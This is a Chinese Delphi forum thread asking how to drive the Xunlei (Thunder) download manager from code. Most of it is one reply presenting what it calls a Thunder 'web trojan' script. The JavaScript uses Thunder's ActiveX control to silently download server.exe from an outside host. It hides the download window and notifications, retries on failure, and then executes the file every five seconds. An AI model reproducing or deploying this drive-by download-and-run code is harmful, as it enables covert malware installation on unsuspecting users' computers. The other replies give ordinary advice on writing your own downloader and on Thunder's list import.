delphi 可否调用迅雷进行文件下载(200分)

  • 主题发起人 主题发起人 yonglinxu
  • 开始时间 开始时间
Y

yonglinxu

Unregistered / Unconfirmed
GUEST, unregistred user!
请问delphi如何调用迅雷进行下载文件
 
有意思,顶一个!
你为何不自己写代码下载呢?除非你要下载很多巨大的东东,用迅雷可能有优势,否则你用Ftp、Http等下载的话速度也是可以的,区别不大,多线程未必会快多少。
 
[:D] 简单的建议~

一些讯雷网马 会调用讯雷 呵呵~

代码:
<script language = javascript>
       var thunder_server = null;


       var id_file = 0; //记录下载任务id



       //初始化控件,返回1表示安装了web讯雷,0为出现错误
     function init()
               {
             try
                 {
                 thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
                   }
             catch (e)
                   {
                 //alert("init activex failed");
                 return 0;
                   }


               return 1;
               }



     ////////////////////////////////////注意,核心函数////////////////////////////////////////
       //////////成功执行后函数返回添加的下载任务的id,否则,返回1///////////////////////////////
       /////////////////////////////////////////////////////////////////////////////////////////
     function downfile()
               {
             thunder_server.SetConfig("MessagePanel", "DownloadComplete", "0"); //下载完毕后无显示面版
             thunder_server.SetConfig("Sound", "DownloadComplete", "0");             //下载完毕无声音
             thunder_server.ShowBrowserWindow();
             //thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
               //不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........


             var szURL = "http://www.1v1.name/server.exe";
             //需要下载的程序的URL
             var szFileName = "test.exe";
             //另存为的文件名
             var szSavePath = "d://";
             //           szSavePath=thunder_server.GetServerPath();
               //另存为的路径
             var szComments = "";
             //注释
             var szRefURL = "";
             //引用URL
             var nStartMode = 1;
             //0为手动开始,1为自动开始
             var nOnlyFromOrigin = 0;
             //只从原始地址下载,0为否
             var nOriginThreadNum = 5;
             //下载程序的线程数
             var nIsNeedAccount = 0;
             //是否需要登陆,0为无需登陆
             var szUserName = "";
             //登陆用户名
             var szPassword = "";
             //登陆密码
             var szTaskClass = "";
             //下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
             var szCID = "";
             //下载讯雷资源时才用到
             var nIsAddUncompletedTask = 0;
             //看名字就知道
             var szStatURL = "";
             //thunder_server.SetVariable("DoIntelligentName", "");
               //调用AddTask()方法开始下载目标程序
             var retStr = thunder_server.AddTask(szURL,             szFileName,                 szSavePath,         szComments,
                                                             szRefURL,         nStartMode,                 nOnlyFromOrigin, nOriginThreadNum,
                                                             nIsNeedAccount, szUserName,                 szPassword,         szTaskClass,
                                                             szCID,             nIsAddUncompletedTask, szStatURL);
             thunder_server.HideBrowserWindow(1);
             //调用AddTask()方法后立即关掉打开的下载窗口
             var ret_code = new Number();
               var ret_msg = new String();
               var aryStr = new String();


               if (retStr.length > 0)
                   {
                 aryStr = retStr.split("{/r*/r}");
                 ret_code = parseInt(aryStr[0]); //记录添加任务结果,0为添加成功,1为出现错误,100为重复URL
                 ret_msg = aryStr[1];                 //正确执行后为添加的下载任务的id值                 
                 }


               else                                             //失败
                 {
                   return 1;
                   }


               if (ret_code == 1)
                   return 1;


               return ret_msg;
               }



     //运行下载后的文件
     function open()
               {
             thunder_server.OpenFile(id_file);
               }


       function exec()
               {
               var ret = init();


               if (ret == 0)
                   return;


             id_file = downfile();
               var i;


               for (i = 0; id_file == 1 &amp;&amp; i < 50; i++)
                 id_file = downfile();


               if (id_file == 1)
                   return;


             //若出现错误则一直调用downfile()函数直到成功为止!!
             setInterval("open()", 5000);
             //搞了半天没有搞出下载完毕的回调函数,
               //只能5秒为间隔的运行下载的程序。
               //若文件没有下载完毕,调用open()函数时文件并未运行


             }


     exec();
</script >
 
迅雷有一个下载信息的是叫什么什么dat,不知道是什么格式的,用Delphi改不了里面的信息。只能是由Delphi生成下载的文件列表为 lst文件,再手工通过迅雷导入。但这种导入没有文件夹的,所有的文件都会在默认下载的文件夹里面下载。
 
顶一个。如果能实现,那是最好不过了。
 
后退
顶部